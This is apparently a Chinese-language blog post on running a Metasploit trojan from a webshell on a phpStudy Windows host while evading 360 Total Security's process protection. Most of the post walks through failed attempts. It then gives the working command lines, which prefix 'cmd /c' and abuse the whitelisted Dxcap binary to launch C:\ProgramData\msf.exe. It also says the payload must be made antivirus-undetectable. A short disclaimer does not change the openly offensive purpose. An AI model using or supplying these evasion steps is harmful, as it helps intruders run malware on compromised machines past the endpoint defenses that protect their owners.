PHP環境繞過360執行馬兒上線
聲明:該公眾號大部分文章來自作者日常學習筆記,也有少部分文章是經過原作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯系開白。 請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。 |
0x01 前言
前幾天群里有個老哥私聊我問了個問題,phpStudy搭建的Web環境,在已拿到的Webshell中執行命令時被360攔截了,問我該如何繞過?
因為當時還在外邊忙,只給他提供了幾個思路,之前有做過這方面測試。趁著周末休息時間又重新測試了一下,并寫下了這篇記錄文,分享給有需要的人。

0x02 本地測試環境
大家應該都知道phpStudy集成包Apache的httpd.exe進程默認是以當前登錄用戶或System運行,所以不用再去執行提權操作,但是主機上安裝的有360,在執行高危命令或木馬等惡意程序時會被360進程防護功能攔截。
操作系統:Windows 10 專業版19043(物理機)環境平臺:phpStudy(php-5.5.38/Apache 2.4.23)當前權限:*******-win10\3had0w(Administrators)安全防護:360安全衛士 13.1.0.1004(開啟核晶防護引擎,木馬庫:2022-03-05)

0x03 繞過進程防護
首先我們測試了“組策略禁用命令提示符的繞過”文中提到的利用中國菜刀虛擬終端的setp命令和php調用com組件wscript.shell執行馬兒的方式,不過在這里都被360給攔截了,真是啪啪打臉。
MSF的PHP Payload可以獲取會話,但有很多命令都執行不了,如:ps、kill、shell、migrate、hashdump、mimikatz等,execute執行馬時還是會被攔截。

也測試了“繞過360進程防護執行系統命令”文中提到的那幾種白名單方式,IIS環境下是都可以繞過的。
但是在這種PHP環境下基本上都被360進程防護給攔截了,或者在執行時會提示文件不存在、缺少文件!
cmd /c start C:\ProgramData\msf.exe

不過最后還是找到一個特別簡單的繞過方式,就是在中國菜刀執行命令時在前邊加上一個cmd /c即可繞過360進程防護功能執行馬兒上線。
以下幾種方式在本地測試是OK的,也找朋友給測了下,但不確定在實戰場景中是否也能繞過,還請自行測試。
cmd /c C:\ProgramData\msf.exe //有一定幾率能夠繞過360cmd /c start C:\ProgramData\msf.exe //有一定幾率能夠繞過360Dxcap -c C:\ProgramData\msf.exe //有一定幾率能夠繞過360cmd /c Dxcap -c C:\ProgramData\msf.exe //Dxcap被攔時可嘗試這種


可以看到我們已經成功利用cmd /c + Dxcap白名單繞過了360進程防護執行馬兒上線了,而且還發現了在這之后再直接去執行這個馬兒時360也不會再攔截了。

0x04 文末小結
這篇文章中我們也只是簡單測試了在PHP環境下如何繞過360的進程防護功能執行馬兒,IIS環境下的繞過方式可能更多,因為很多白名單都可以直接利用。馬兒也必須免殺,否則在執行時還是會被特征查殺。
有時在本地和實戰場景中的測試結果可能不太一樣,所以建議大家還是根據所遇到的場景自行去做測試,因為只有自己去測了以后才知道是什么情況,而且這類安全廠商每天都在更新相關規則,你們懂的...!